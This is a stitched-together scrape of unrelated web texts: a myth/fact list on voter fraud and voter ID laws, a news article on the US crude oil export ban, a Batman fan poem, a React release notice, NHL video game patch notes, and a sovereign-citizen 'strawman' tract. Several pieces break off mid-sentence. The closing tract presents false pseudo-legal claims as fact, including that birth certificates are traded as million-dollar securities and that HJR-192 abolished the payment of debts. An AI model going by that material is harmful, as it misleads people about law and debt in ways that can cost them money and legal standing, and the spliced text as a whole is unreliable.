North Carolina Investigated Citizenship Of Flagged Voters And Is Implementing Formal "Challenge Process" To Prevent Ineligible Voters From Casting Ballots. The North Carolina Board of Elections conducted an investigation to verify the eligibility of 10,000 registered voters who had been flagged as having "questionable citizenship status" using Department of Homeland Security and N.C. Division of Motor Vehicles data. The investigation identified 109 DACA recipients who were "on the voter rolls, but have not voted in any prior election," and is implementing a formal challenge process that will allow election officials to insure illegal voting doesn't occur. [North Carolina State Board of Elections, 10/24/14]
DHS: DACA Does Not Grant Citizenship, A Requirement For Voting. Undocumented immigrants who received DACA status were not granted citizenship nor any right to vote. As the Department of Homeland Security states:
An individual who has received deferred action is authorized by DHS to be present in the United States, and is therefore considered by DHS to be lawfully present during the period deferred action is in effect. However, deferred action does not confer lawful status upon an individual, nor does it excuse any previous or subsequent periods of unlawful presence. [DHS, U.S. Citizenship and Immigration Services, 10/23/14]
MYTH: GA Democrats Committed Voter Registration Fraud
Fox Segment Hypes "Allegations Of Voter Fraud" Caused By Georgia Democrats. On Fox News' America's Newsroom, a segment on the "allegations of voter registration fraud by Georgia Democrats linked to Senate candidate Michelle Nunn" highlighted Georgia Secretary of State Brian Kemp's investigation into allegations that 25 voter registration applications and three canvassing sheets turned in by the nonpartisan New Georgia Project contained some type of inaccurate information, while another 26 were flagged as "suspicious." [Fox News, America's Newsroom, 9/19/14]
FACT: Questionable Voter Registration Forms Were Submitted As Required By Georgia Law
New Georgia Project Turned In Forms Because They "Don't Get To Decide If Something Is Good Or Bad." The Fox News segment did not mention that Georgia law requires all applications -- even those the New Georgia Project thought were incomplete or inaccurate -- to be turned in to state officials. As Stacey Abrams, head of the New Georgia Project, told The Washington Post, her organization flagged the forms before submitting them to the secretary of state because "we don't get to decide if something is good or bad." The secretary of state's office also suspected that only 51 out of 85,000 submitted applications, or 0.06 percent, had problems. [Media Matters, 9/19/14]
MYTH: 17 Possible Cases Of Double Voting May Mark Beginning Of Fraud Trend
National Review Online Warns 17 Potential Instances Of Duplicate Voting "May Be" Just The "Tip Of The Iceberg." In an August 28 post, the National Review Online's Hans von Spakovsky claimed that at least 17 instances of "double voting" (where voters with matching information cast ballots in multiple states) had occurred in Maryland and Virginia. Spakovsky warned that there could be thousands more cases to come and that double voting could sway elections:
[T]he current [Virginia electoral] board has discovered 17 individuals who voted in both Fairfax County and Montgomery County, Maryland, in the 2012 election and "in some instances, on multiple occasions going back for a considerable period of time," according to letters the board sent to the Justice Department, [Fairfax County Prosecutor Raymond] Morrogh, and Virginia attorney general Mark Herring on Aug. 22. This is not a case of voters with the same name being mistakenly confused as the same individual. All 17 voters were identified by their full name, date of birth, and Social Security number, according to the Virginia Voters Alliance (VVA), a citizens' organization that turned these names over to the electoral board. It was the VVA -- along with another citizens' group dedicated to election integrity, Election Integrity Maryland (EIM) -- that did the research on the voter files in Virginia and Maryland to find these illegal voters. And this may be only the tip of the iceberg: VVA and EIM turned the names of 43,893 individuals who appear to be registered in both states over to the State Boards of Elections in Virginia and Maryland. Fairfax County alone has more than 10,000 such duplicate registrations. These 17 voters are only a subset of at least 164 voters their research showed voted in both states in the 2012 election. [National Review Online, 8/28/14]
FACT: Allegations Of Double Voting Rarely, If Ever, Turn Out To Be Fraud, And Voter ID Doesn't Stop Double Voting
Election Expert: In The Past, Most Double Voting Matches "Did Not In Fact Represent Fraud." Doug Chapin, the director of the Program for Excellence in Election Administration, noted that while it is important to investigate potential instances of double voting, "in the past... most if not all of the matches did not in fact represent fraud." He also explained that voter ID laws "wouldn't have prevented this." Because the risk of double voting compared to the risk of voter disenfranchisement is so disproportionate, the editorial board of the Baltimore Sun characterized efforts to prevent that sort of fraud through strict voter ID "the equivalent of using a sledgehammer on a fly." [Media Matters, 9/3/14]
MYTH: Voter ID Laws Aren't Racially Discriminatory
Rush Limbaugh: The Idea That Voter ID "Will Prevent Minorities From Voting" Is "Absurd." On the October 22 edition of his radio show, Rush Limbaugh claimed that President Obama's recent comments encouraging voting among those who are not affected by strict voter ID laws undercut accusations that these laws are discriminatory. He claimed that the reasoning of those who say voter ID "will prevent minorities from voting" is "absurd," and that the "real reason" Democrats object to these laws "is so they can cheat." [Premiere Radio Networks, The Rush Limbaugh Show, 10/22/14]
WSJ's Jason Riley: Obama Administration's Statements Against Voter ID Laws Are "Overt Racial Appeals To Get Out The Base." In a segment on the October 20 edition of Fox News' Special Report with Bret Baier, Wall Street Journal opinion editor Jason Riley said that "the voter ID stuff [the Obama administration is] talking about constantly, as if there's some sort of Republican conspiracy out there to deny blacks the franchise" is "just not true." He argued that the administration's opposition to voter ID laws is really "overt racial appeals to get out the base." [Fox News, Special Report with Bret Baier, 10/20/14]
FACT: Experts And Supreme Court Justices Agree Voter ID Laws Have Discriminatory Effects
Brennan Center's Andrew Cohen: "Mountains Of Evidence" Led To Federal Court Ruling That Texas Voter ID Law Was Discriminatory. Writing in the Los Angeles Times, Brennan Center for Justice fellow Andrew Cohen noted that federal courts have twice found Texas' voter ID law to be racially discriminatory, both in intent and effect. Although the Supreme Court allowed the law to be implemented for the midterm elections, there are "mountains of evidence on what the law's discriminatory impact would be on minority communities," Cohen said. He argued that the law is "one of the most discriminatory voting laws in modern history," and "runs afoul of constitutional norms and reasonable standards of justice," and pointed to Supreme Court Justice Ruth Bader Ginsburg's dissenting argument that "there was ample proof the Texas law discriminates, and no proof that it doesn't." [Los Angeles Times, 10/22/14]
MYTH: Voter ID Laws Have No Effect On Minority Voter Turnout
WSJ's Paul Gigot: Voter ID Laws Have Had "Zero Effect On Turnout." Appearing on NBC's Meet the Press on April 13, Wall Street Journal editorial page editor Paul Gigot claimed voter ID laws have had "zero effect" on minority turnout because "African-American turnout was so much greater in 2012" than it had been previously. [NBC, Meet The Press, 4/13/14]
FACT: GAO Report Found Decreased Turnout Among People Of Color Was Attributable To Voter ID Laws
Wash. Post: "Turnout Dropped At Least 1.9 Percentage Points In Kansas And 2.2 Percentage Points In Tennessee Thanks To" Voter ID Laws. As The Washington Post blog The Fix reported, a Government Accountability Office (GAO) report on the potential effect of voter ID laws found that "Turnout dropped at least 1.9 percentage points in Kansas and 2.2 percentage points in Tennessee thanks to the laws," and that "Young people, black people, and newly registered voters were the groups that were more likely to see bigger drops in turnout." [The Washington Post, The Fix, 10/9/14]
Brennan Center's Sundeep Iyer: Those Who Argue That Voter ID Laws Don't Impact Turnout Need "A Simple Statistics Lesson." As former Brennan Center for Justice quantitative analyst Sundeep Iyer explained, any claim that voter ID laws don't affect minority turnout ignores "Statistics 101":WASHINGTON — As a new year dawns in the nation’s capital, the Obama administration and Congress find themselves grappling with a scenario that was unthinkable just a short time ago: What to do with the domestic oil flowing out of West Texas, North Dakota and other states?
The climb in domestic crude production has created a dilemma for both lawmakers and the White House, who are facing new pressure from oil companies to relax the nation’s 38-year-old ban on exports of the unprocessed product.
The current restrictions — born in the aftermath of the oil embargo of the 1970s — benefit some domestic refiners, who are selling record amounts of gasoline and other refined products to foreign customers. But their gains are coming at the expense of oil producers who face the prospect of dropping domestic prices for the commodity, as the U.S. produces more light sweet crude than it can handle.
“If we wouldn’t have had this massive, huge increase in the development of oil and natural gas, we wouldn’t be having this discussion; we’d still be living in the shadows of the 1970s,” said Charles Drevna, head of the American Fuel and Petrochemical Manufacturers. “This is a good problem to have.”
Consider that the U.S. exported some 2.6 million barrels of finished petroleum products each day in 2012, according to the government’s Energy Information Administration, more than double the 1.2 million barrels logged daily in 2007.
40 years later: Foreign oil dependence has soared since the embargo
Meanwhile, there is a growing glut of light, sweet crude that is unearthed in the U.S., and barred from export. Many U.S. refineries, particularly along the Gulf Coast, were designed to process heavier supplies from Venezuela, Saudi Arabia and Canada, and while some have adapted to handle more of the light, sweet domestic product, bigger changes are unlikely soon.
“It’s all about getting the oil to market,” said Ed Hirs, an energy economist at the University of Houston. Where crude exports may be constrained, “a refinery manager in Beaumont has a choice: He can sell to a gas station here at the corner of 610 and Westheimer, or he can sell it to a gasoline station in Tokyo or Dubai.”
Republican Sen. Lisa Murkowski of Alaska is set to officially launch the Capitol Hill debate over crude exports on Tuesday, with a white paper and speech touting the economic benefits of selling U.S. energy abroad.
But Obama administration officials, major oil company executives and newspaper editorial boards all have been addressing the issue recently. ConocoPhillips and ExxonMobil did it first, with executives telling a Houston audience and the Wall Street Journal that it was time to end the export ban. Then, last month, Energy Secretary Ernest Moniz suggested that the crude export ban deserves re-examination “in the context of … an energy world that is no longer like the 1970s.”
Changes soon unlikely
Changes could come from Congress, which could rewrite the underlying ban imposed in 1975, or the Obama administration’s Commerce Department, which could opt to more liberally interpret an existing national interest exception in the governing statute. Existing exceptions include exports to Canada as well as foreign sales of oil produced in Alaska’s Cook Inlet, some heavy crude produced in California and oil transported through the Trans-Alaska Pipeline System.
But any major upheaval in U.S. oil export policy is unlikely anytime soon, especially in an election year, when voters’ concerns about spiking gasoline prices - and lawmakers’ fear of being held accountable for them at the ballot box – are likely to hold sway on Capitol Hill.
The issue is a political hot potato for the White House, which may be worried as much about straining relations with Saudi Arabia as populist backlash from motorists here at home. Saudi Arabia is both a major U.S. ally and a leading crude oil exporter.
Mounting challenge: Oil industry takes aim at export ban
“There’s a lot of opportunity, but it’s going to involve having a full discussion and a full debate about what laws are on the books from the ’70s that no longer make sense,” said Amy Myers Jaffe, executive director of energy and sustainability at the University of California-Davis. “We need to be thoughtful in how we reform those rules because there is a greater chance of upheaval in Saudi Arabia today than there has been in a long time.”
As it is, U.S. lawmakers and policymakers still are working to come to grips with wider exports of natural gas, which have much higher physical and economic barriers, in the form of the multibillion-dollar facilities that are required to super chill the fossil fuel until it is transformed into a liquid capable of being tanked around the world.
The Energy Department has issued five licenses to broadly export liquefied natural gas, but only one planned liquefaction facility has received other necessary approvals from the Federal Energy Regulatory Commission. More than 20 other broad gas export applications are pending at the Energy Department.
Concern for consumers
Critics say that allowing unchecked oil exports would be bad for U.S. consumers.
For instance, Sen. Robert Menendez, D-N.J., says exports could boost domestic crude prices, narrowing the gap between U.S. and global oil. Where the price of the global benchmark, Brent crude, averaged $108 per barrel last year, the cost of a barrel of U.S. benchmark West Texas Intermediate was $10 less.
“Big Oil clearly wants to pad their record profits and fetch a higher price for their oil,” Menendez said. “I believe we should be more worried about the bottom line for American families.”
Senator to Obama: Don’t give in to Big Oil on exports ban
But export backers say more foreign sales of high-quality, coveted light sweet crude from the U.S. could help lower global oil prices, even as imported heavy crudes – including heavily discounted Canadian supplies – keep running through Gulf Coast refineries.
In the meantime, some oil companies are adapting by stepping up their minimal processing of both crude oil and the condensate flowing out of U.S. fields, so they qualify for export under existing laws.
Jaffe predicts that the first step in easing the export ban would be a change in the classification of field condensate so that it can easily be sold overseas without additional processing or possibly even waivers from the Commerce Department.
Logistical challenges
The oil industry casts the issue as a logistical challenge, as refiners have already pared imports of light sweet crude and now may be using as much as they can handle of the domestic supply.
Hirs noted the dynamic comes against declining oil consumption domestically, which has dropped some 3 million barrels per day since a peak in 2008.
“We still have the refining capacity of 20 million barrels a day and we are exporting 3 million barrels a day of refined product,” the UH economist said.
“Really, it’s in the national interest of the United States to effectively and economically advantage its processing capabilities,” Hirs said. “With an influx of light sweet crude beyond what we can process – without retooling and rebuilding refining (facilities) – it’s in our economic interest to go ahead and export that.”“you either die a hero or live long enough to see yourself become a villain”
the shadow lingers long,
the legend lives on.
thrown to unforgiving history,
silence overshadows-
the sound of his cowl.
” No, *this* is your mask. Your real face is the one that criminals now fear. The man I loved – the man who vanished – he never came back at all. But maybe he’s still out there, somewhere. Maybe some day, when Gotham no longer needs Batman, I’ll see him again. “
love lost, love snatched,
as a kid, a prince, an orphan.
surrounded by darkness, a light remained,
sacrificing it all, he struggled to stand tall.
” When I told you that if Gotham no longer needed Batman we could be together, I meant it. But now I’m sure the day won’t come when *you* no longer need Batman.”
finding what he lost,
losing what he finally found.
the hero was broken,
the madman took it all.
“Madness, as you know, is like gravity. All it takes is a little push”
survived the battle,
took a million scars.
became a shadow of,
the shadow he was.
“When a forest grows too wild, a purging fire is inevitable and natural.”
never did expect,
always delivered and left.
trusted two face to work on the right,
but the world was black and so was the coin.
“The night is darkest just before the dawn. And I promise you, the dawn is coming”
the dawn came, it lasted some years,
the city of crime, it thrived on fear.
the caped crusader was needed no more,
disappeared from the world, as did Bruce.
“I was wondering what would break first. Your spirit.. or your body”
left his face, the mask,
a recluse, a pariah.
came out after a decade,
to face a foe stronger in ever way.
“You merely adopted the dark. I was born in it, molded by it.”
angry, hurt,
distrusting, unearthed.
took on his end with his bare hands.
left to rot,
left to die,
while his city burnt in ashes.
“How can you move faster than possible, fight longer than possible without the most powerful impulse of the spirit: the fear of death? ”
realization dawns, he isn’t the same he was.
curtains fall, who can carry the symbol forward.
the world might never know who he really was,
but the world will always understand what he stood for.
“because he’s the hero Gotham deserves, but not the one it needs right now. So we’ll hunt him. Because he can take it. Because he’s not our hero. He’s a silent guardian, a watchful protector. A dark knight. “
AdvertisementsHot on the heels of the release candidate earlier this week, we’re ready to call v0.10 done. The only major issue we discovered had to do with the react-tools package, which has been updated. We’ve copied over the changelog from the RC with some small clarifying changes.
The release is available for download from the CDN:
React
Dev build with warnings: https://fb.me/react-0.10.0.js
Minified build for production: https://fb.me/react-0.10.0.min.js
Dev build with warnings: https://fb.me/react-0.10.0.js Minified build for production: https://fb.me/react-0.10.0.min.js React with Add-Ons
Dev build with warnings: https://fb.me/react |
wrong way when trying to transition onto the post.• Increased cover puck consistency.• Added more goalie post goal reactions.• Added functionality when going directly from set to butterfly post lean. This removes the limitation of pressing butterfly before pressing hug post.• Various goalie animation fixes.• Increased responsiveness in precision movement, especially when moving laterally.DEFENSE• Updates to incidental stick/puck contact with the goalie for more accuracy.• Various improvements to incidental stick-on-stick contact for more accuracy.• Fixed issues where incidental stick contact wasn’t affecting the puck carrier during some puck pickups/pass receptions.• Extended Stick Lift will now modify into board play if the puck carrier goes into board play.• Tweaked ease of alignment for getting into net battles and extended stick lifts.• Fix various stick to hand blending issues in animations.• Ability to perform extended stick lifts all over the ice. They were originally limited to the net battle areas of the ice.• Updates to make the transition between stick lift and extended stick lifts more responsive to what the player intends.• Updates to how extended stick lifts impact the ability to receive a puck or keep possession of a puck.• Updated push check animations to better respect where the defender's stick was before he initiated the push.• Updated physical preparedness calculation when the player being hit was in the middle of a pass. They were previously more prepared than they should be.• Better defensive coverage on the strong side winger on the breakout.• Improved AI defense when they are on the PP with the man advantage. Use the extra man to minimize the PK team’s effort with the puck.• Addressed issues where AI defenders would over commit skating forwards out of their zone which would hurt their ability to get a good gap on the rush.• AI players won’t auto line change when team has possession in the offensive zone unless they are extremely tired.• Updated cases for a defender to drop the puck if they are going to take the puck into their own net. If a defender carries the puck into their own net, it can now be counted as a goal.PUCK PICKUPS & RECEPTIONS• Improved pickups in cases where the puck is behind a player.• Added coverage to skate pickups to help with pucks in the feet or directly behind a player.• Animation updates to pickups where sticks weren’t flush to the ice.• Updates to conditions and coverage for turning pickups.• Updates to pass assist to not lead players as much if it is going to lead to an offside.• Updates to how pickups will attempt to resolve if the puck changes trajectory.MISC• Updated how holding penalties work to get more accurate penalty calls.• Ability to manually set Min/Max Pass Speed in Gameplay Sliders.CROWD• Improved crowd reaction and behavior when a major milestone has been achieved (ie. 500 goals).• Updates to European fan signs.• Improved fan distribution, signage and team clothing assignment in World Cup of Hockey mode.• General crowd behavior and reaction improvements.CAMERAS• Added new introduction cameras for several stadiums.• Improved camera tracking when the puck is in the corner.ENVIRONMENT• Addressed seat color issues during t-shirt promo nights in Arizona.• Edited promo puck and promo bobblehead placement in several stadiums to avoid stanchions.• Improved New Jersey Devil mascot animations around the boards and glass.• Improvements to Carolina PNC Arena lighting in corners of ice surface.• Authenticity update for goal light in Scottrade Center.• Authenticity update for the scoreboard in Scottrade Center. Smoke now emits when a home goal is scored during playoffs.• Lighting improvements for stanchions in several creation zone environments.• Improved arena shadows for realism in several creation zone environments.• Added circles at top of scoreboard for the Buffalo Sabres First Niagara Center scoreboard.• Banners in New Jersey were updated for authenticity.• All ECHL stadiums will now have blue goal posts.PLAYERS• Improvements to hair for several star players.• Added new goalie mask art for several teams including Anaheim, Boston, Buffalo, Calgary, Chicago, Detroit, Edmonton, Minnesota, Montreal, Nashville, New Jersey, NY Islanders, Ottawa, Philadelphia, St. Louis, Tampa Bay, Washington.• Quality improvements of some of the generic hair styles in creation zone.EQUIPMENT• Gold stick award art tuning.• Authenticity improvement to CCM Extreme Flex Pro line of equipment.• Two Bauer skate blades updated for authenticity.• Krefeld Pinguine logo updated for authenticity.• Authenticity update for Bauer Supreme Totalone NXG blocker, pads, and trapper.• Authenticity update for Brian’s G-Netik blocker, and pads.• Authenticity update for CCM Extreme Flex 2 blocker.• Authenticity update for KOHO Revolution 587 trapper.• Authenticity update for Vaughn V4 7600 Blocker.• Added CCM Extreme Flex III Pro Goalie Pad set to Creation Zone.UNIFORMS• Added Bakersfield Condors Alternate uniform.• Added Chicago Wolves Alternate uniform.• Added Cleveland Monsters Home, Away and Third uniforms.• Added Wilkes-Barre/Scranton Penguins Home and Away uniforms.• Added Toronto Marlies Home and Away uniforms.• Added Hartford Wolf Pack Home, Away and Third uniforms.• Added Hershey Bears Alternate uniform.• Added Stockton Heat Alternate Uniform.• Added German National Team Home, Away and Third uniforms.• Updated font type for Acadie-Bathurst Titan Home and Away uniforms.• Updated Number Font color for Orlando Solar Bears Home Uniform.• Updated Pant color on Czech Republic Home and Away Uniforms.COMMENTARY• Lake Erie Monsters sample changed to Cleveland Monsters.• Added speech for 2000, and 3000 point milestones.• Many improvements to commentator awareness/accuracy.SFX• Goal horn volume increased.• Update to SFX for fight collisions.• Update to SFX for when a puck goes off a goalie helmet.CROWD• Improved crowd excitement after a goal is scored.• Added crowd countdown to final buzzer in important games.• Improved crowd reaction and excitement when player achieves personal milestone.MUSIC• NBC and Wednesday Night Rivalry themes tuned for improved timing. Music now ends when screen fades to blackGENERAL• Added a new Camera angle called “Zone” which was formally known as Custom 3 (available everywhere).ALL ONLINE MODES• Added “Online Pass Assist Percentage” slider to the controls screen.o Defaults to 100% which is the online default, from there the user can move the slider down to have less Pass AssistUSABILITY:• Controller images added to controller settings screensEASHL:• Room Leader “Captain icon” to remain persistent from Dressing Room to Side Select.• Fixed several issues with the “Set for All Positions” option in Edit Pro.• Fixed the chat box in the Drop-in and Clubs Dressing Room when specific special characters were being entered.• Addressed various camera issues in the small and large community rinks.• Added Stock Team Branding in EASHL Edit Team.o Allows a club to use a Stock logo from our title.o Allows a club to use Stock Uniforms from our title as their Home, Away, or Alternate uniforms.o Stock Team Branding does not allow for recoloring of logos or uniforms.o Stock Team Branding has been added to club progression and assigned to the following requirements: Ability to use Stock Team Branding – Complete 35 games Ability to use Stock Vintage Uniforms – Reach Club Prestige 1 – Level 13 Ability to use Stock Alternate Uniforms – Reach Club Prestige 1 – Level 30• Added High Tilted Visor as player progression unlock.o Unlocked at Player Prestige 1 – Level 7• Added Player Summary screen at the end of game.o Shows the profile names of the users in game and their stats.o Used to compare player stats and for Club GMs to scout players.o GMs can invite players to join their club from this screen.• Added Ability to enter Edit Player or Edit Team from the Drop-in and Clubs Dressing Roomso Allows players to customize their player or club between games without having to leave their group experience.o For Drop-in it allows the players to remain in their persistent Dressing Room lobby.• Add Rich Presence to the Drop-in Dressing Room.o Allows players to see that their teammates from the previous game are still in the post-game flow.o Allows players to see that their teammates are customizing their player (also available in Club Dressing Room).• Human goalies can now pull themselves and become a human controlled extra attacker from the bench.• Added milestones to EASHL - Commentary team will announce goal and point milestones in EASHL for the following:o 50 Goalso 100 Goalso 200 Goalso 300 Goalso 400 Goalso 499 Goalso 500 Goalso 999 Goalso 1000 Goalso 2000 Goalso 3000 Goalso 200 Pointso 300 Pointso 400 Pointso 500 Pointso 1000 Pointso 2000 Pointso 3000 PointsBE A PRO:• BAP player can now get injured for multiple games.• 2X EXP game situation now shown on BAP shift timer.• BAP coaching feedback post game screen added with 5 game summary graph.• 3rd and 4th liners now get more ice time when playing quick BAP games.• Added message on BAP coaching feedback overlay to remind users more feedback available in pause menu.• Tuned some 2X EXP game situations.• Improved shift timer line change animation timing to match hint/on-ice visual trainer.• Improved logic around when hints/suggested focus are skipped on expert mode.• Improved camera in BAP. Updates when starting a shift jumping off the bench, when skating to the bench to line change, updates for tracking when shots are taken, and various other focus updates.COACHING FEEDBACK:• Tuned logic for when to show certain feedback hints.• Saucers passes are no longer considered weak passes.• Goalies no longer penalized for careless wandering when going to the bench for delayed penalty/extra attacker.FRANCHISE MODE:• Promotion Nights can now be scheduled throughout the regular season• Added 8 new owner goals:o Improve Top 6 Forward (contender teams only)o Improve Top 4 Defenseman (contender teams only)o Improve Starting Goalies (contender teams only) These will only occur if the team is currently weak in a given position.o Get “X” sellouts in a season (for all teams)o Win “X” games in a season (for all teams)o Win “X” Home games in a season (for all teams)o Win “X” Road games in a Season (for all teams)o Improve Team Chemistry by “X” (for all teams)• Added functionality where a user receives additional funding for completing owner goals.• Added functionality for team performance based owner goals to change based on the team’s current status during the season.• Added functionality where owner goals for stadium upgrades are processed immediately instead of at the end of construction.• Added team status and team record to the trade screen.• Added playoff tree view to the stats central tile.• Added retirement screen to view the league's retired players.• Improved upgrading:o Replaced current upgrading/maintain flow with a new overlay to upgrade and maintain an object.o Added an indicator for what object pertains to an owner goal.o More information is surfaced when an item is not actionable.o Quick link to the operation budget screen to quickly allocate funds.• Added Owner Goals section in the Franchise Overview Screen• Added 7 new categories for the team information section in the Franchise Overview Screen:o Number of Sellouts this seasono Days until Trade Deadlineo Days until Rookie Drafto Days until Free Agencyo Days until Re-sign phaseo Number of injured playerso Current Funds Available• Added 7 new Relocation options:o Atlanta, GAo Birmingham, ALo Markham, ONo Regina, SKo San Francisco, CAo Miami, FLo Sacramento, CA• Added reminder notification to alert the user to set a marketing budget once the season ticket drive has started.• Improved Set completion flowo Collection and Auction House search filters will automatically lock to the appropriate item types when attempting to add items to a set.o New animation added when all of the items to complete a set have been added by the user.o Improved the set completion confirmation message screen.• Added a quick link to the Unopened Packs screen from the 2nd and 3rd level of the Sets screen when there are available packs for the player to open.o Users can now easily access their reward packs after completing sets using this new functionality.• Added a scroll bar to the Synergy Glossary screen to let players know that there are more Synergy styles available.Meet Your Strawman! Your straw man (Strawman) is an artificial person created by law at the of your birth, the inscription of an ALL-CAPITAL LETTERS NAME on your birth certificate/document, which is a document of title and a negotiable instrument. Your lawful, Christian name of birthright was replaced with a legal, corporate name of deceit and fraud. Your name in upper and lower case letters (Jane Mary Doe) has been answering when the legal person, your name in ALL-CAPTIAL LETTERS (JANE MARY DOE), is addressed, and therefore the two have been recognized as being one and the same. When, you Jane Mary Doe, the lawful being distinguish yourself as another party than the legal person, the two will be separated. Legally, since your birth your artificial person, has been considered a slave or indentured servant to the various federal, provincial and municipal governments via your STATE-issued, STATE-created birth certificate in the name of your all-caps person. Your birth certificate was issued so that the issuer could claim "exclusive" title to the legal person created. This was further compounded when you voluntarily obtained a driver's license and a SSN (Social Security Number). The state even owns your personal and private life through your STATE-issued marriage license/certificate issued in the all-caps names. You have had no rights in birth, marriage, nor will you have them even in death unless you re-capture your straw man. (The names on tombstones in cemeteries are in all-caps.) The STATE holds the title to your legal person it created via your birth certificate, until Jane Mary Doe, the rightful owner, the holder in due course of the instrument, that is yourself, reclaims/redeems it. On April 5, 1933, then President Franklin Delano Roosevelt, under Executive Order, issued April 5, 1933, declared: "All persons are required to deliver on or before May 1, 1933 all Gold Coin, Gold Bullion, & Gold Certificates now owned by them to a Federal Reserve Bank, branch or agency, or to any member bank of the Federal Reserve System." James A. Farley, Postmaster General at that time, required each postmaster in the country to post a copy of the Executive Order in a conspicuous place within each branch of the Post Office. On the bottom of the posting was the following: CRIMINAL PENALTIES for VIOLATION of EXECUTIVE ORDER $10,000 fine or 10 years imprisonment, or both, as provided in Section 9 of the order. Section 9 of the order reads as follows: "Whosoever willfully violates any provisions of this Executive Order or of these regulations or of any rule, regulation or license issued thereunder may be fined not more than $10,000, or if a natural person, may be imprisoned for not more than 10 years, or both; & any officer, director or agency of any corporation who knowingly participates in any such violation may be punished by a like fine, imprisonment, or both. NOTE: Stated within a written document received September 17, 1997, from the U.S. Department of Justice, Office of Legal Counsel, Office of the Deputy Assistant Attorney General, Richard L. Shiffin, in response to a FOIA, was the following: "A fact that is frequently overlooked is that Executive Orders & proclamations of the President normally have no direct effect upon private persons or their property, & instead, normally constitute only directives or instructions to officers or employees of the Federal Government. The exception is those cases in which the President is expressly authorized or required by laws enacted by the Congress to issue an Executive order or proclamation dealing with the legal rights or obligations of members of the public. Such as issuance of Selective Service Regulations, establishment of boards to investigate certain labor disputes, & establishment of quotas or fees with respect to certain imports into this country." Note: it seems rather obvious that President Franklin D. Roosevelt was not "expressly authorized or required" to "issue an Executive Order or proclamation" demanding the public (private) to relinquish their privately held gold. The order (proclamation) issued by Roosevelt was an undisciplined act of treason. Two months after the Executive Order, on June 5, 1933, the Senate & House of Representatives, 73d Congress, 1st session, at 4:30 p.m. approve House Joint Resolution (HJR) 192: Joint Resolution To Suspend The Gold Standard & Abrogate The Gold Clause, Joint resolution to assure uniform value to the coins & currencies of the United States. HJR-192 states, in part, that "Every provision contained in or made with respect to any obligation which purports to give the oblige a right to require payment in gold or a particular kind of coin or currency, or in any amount of money of the United States measured thereby, is declared to be against public policy, & no such provision shall be contained in or made with respect to any obligation hereafter incurred. Every obligation, heretofore or hereafter incurred, whether or not any such provisions is contained therein or made with respect thereto, shall be discharged upon payment, dollar for dollar, in any such coin or currency which at the time of payment is legal tender for public & private debts." HJR-192 goes on to state: "As used in this resolution, the term 'obligation' means an obligation (including every obligation of & to the United States, excepting currency) payable in money of the United States; & the term 'coin or currency' means coin or currency of the United States, including Federal Reserve notes & circulating notes of Federal Reserve banks & national banking associations." HJR-192 superseded Public Law (what passes as law today is only "color of law"), replacing it with public policy. This eliminated our ability to PAY our debts, allowing only for their DISCHARGE. When we use any commercial paper (checks, drafts, warrants, federal reserve notes, etc.), & accept it as money, we simply pass the unpaid debt attached to the paper on to others, by way of our purchases & transactions. This unpaid debt, under public policy, now carries a public liability for its collection. In other words, all debt is now public. The United States government, in order to provide necessary goods & services, created a commercial bond (promissory note), by pledging the property, labor, life & body of its citizens, as payment for the debt (bankruptcy). This commercial bond made chattel (property) out of every man, woman & child in the United States. We became nothing more than "human resources" & collateral for the debt. This was without our knowledge &/or our consent. How? It was done through the filing (registration) of our birth certificates! The United States government -actually the elected & appointed administrators of government -took (& still do, to this day) certified copies of all our birth certificates & placed them in the United States Department of Commerce... as registered securities. These securities, each of which carries an estimated $1,000,000 (one million) dollar value, have been (& still are) circulated around the world as collateral for loans, entries on the asset side of ledgers, etc., just like any other security. There's just one problem, we didn't authorize it. The United States is a District of Columbia corporation. In Volume 20: Corpus Juris Sec. � 1785 we find "The United States government is a foreign corporation with respect to a State" (see: NY re: Merriam 36 N.E. 505 1441 S. 0.1973, 14 L. Ed. 287). Since a corporation is a fictitious "person" (it can not speak, see, touch, smell, etc.), it can not, by itself, function in the real world. It needs a conduit, a transmitting utility, a liaison of some sort, to "connect" the fictional person, & fictional world in which it exists, to the real world. LIVING people, exist in a real world, not a fictional, virtual world. But government does exist in a fictional world, & can only deal directly with other fictional or virtual persons, agencies, states, etc.. In order for a fictional person to deal with real people there must be a connection, a liaison, & a go-between. This can be something as simple as a contract. When both "persons," the real & the fictional, agree to the terms of a contract, there is a connection, intercourse, dealings, there is a communication, an exchange. There is business! But there is another way for fictional government to deal with the real man & woman: through the use of a representative, a liaison, & the go-between. Who is this go-between, this liaison that connects fictional government to real men & women? It's a government created shadow, a fictional man or woman... with the same name as ours. This PERSON was created by using our birth certificates as the MCO (manufacturer's certificate of origin) & the state in which we were born as the "port of entry". This gave fictional government a fictional PERSON with whom to deal directly. This PERSON is a straw man (strawman). STRAMINEUS HOMO: Latin: A man of straw, one of no substance, put forward as bail or surety. This definition comes from Black's Law Dictionary, 6th. Edition, page 1421. Following the definition of STRAMINEUS HOMO in Black's we find the next word, straw man (Strawman). STRAWMAN: A front, a third party who is put up in name only to take part in a transaction. Nominal party to a transaction; one who acts as an agent for another for the purposes of taking title to real property & executing whatever documents & instruments the principal may direct. Person who purchases property for another to conceal identity of real purchaser or to accomplish some purpose otherwise not allowed. Webster's Ninth New Collegiate Dictionary defines the term "strawman" as: 1: a weak or imaginary opposition set up only to be easily confuted 2: a person set up to serve as a cover for a usually questionable transaction. The straw man (Strawman) can be summed up as an imaginary, passive stand-in for the real participant; a front; a blind; a person regarded as a nonentity. The straw man (Strawman) is a "shadow", a go-between. For quite some time a rather large number of people in this country have known that a man or woman's name, written in ALL CAPS, or last name first, does not identify real, living people. Taking this one step further, the rules of grammar for the English language have no provisions for the abbreviation of people's names, i.e. initials are not to be used. As an example, John Adam Smith is correct. ANYTHING else is not correct. Not Smith, John Adam or Smith, John A. or J. Smith or J. A. Smith or JOHN ADAM SMITH or SMITH, JOHN or any other variation. NOTHING, other than John Adam Smith identifies the real, living man. All other appellations identify either a deceased man or a fictitious man: such as a corporation or a STRAW MAN (STRAWMAN). (See this video and consider both sides of the presentation: The "Straw Man" Fallacy) Over the years government, through its "public" school system, has managed to pull the wool over our eyes & keep US ignorant of some very important facts. Because all facets of the media (print, radio, television) have an ever-increasing influence in our lives, & because media is controlled (with the issuance of licenses, etc.) by government & its agencies, we have slowly & systematically been led to believe that any form/appellation of our names is, in fact, still us: as long as the spelling is correct. WRONG! We were never told, with full & open disclosure, what our government officials were planning to do & why. We were never told that government (the United States) was a corporation, a fictitious "person". We were never told that government had quietly, almost secretly, created a shadow, a STRAW MAN (STRAWMAN) for each & every AMERICAN, so that government could not only "control" the people, but also raise an almost unlimited amount of revenue - so it could continue not just to exist, but to GROW. We were never told that when government deals 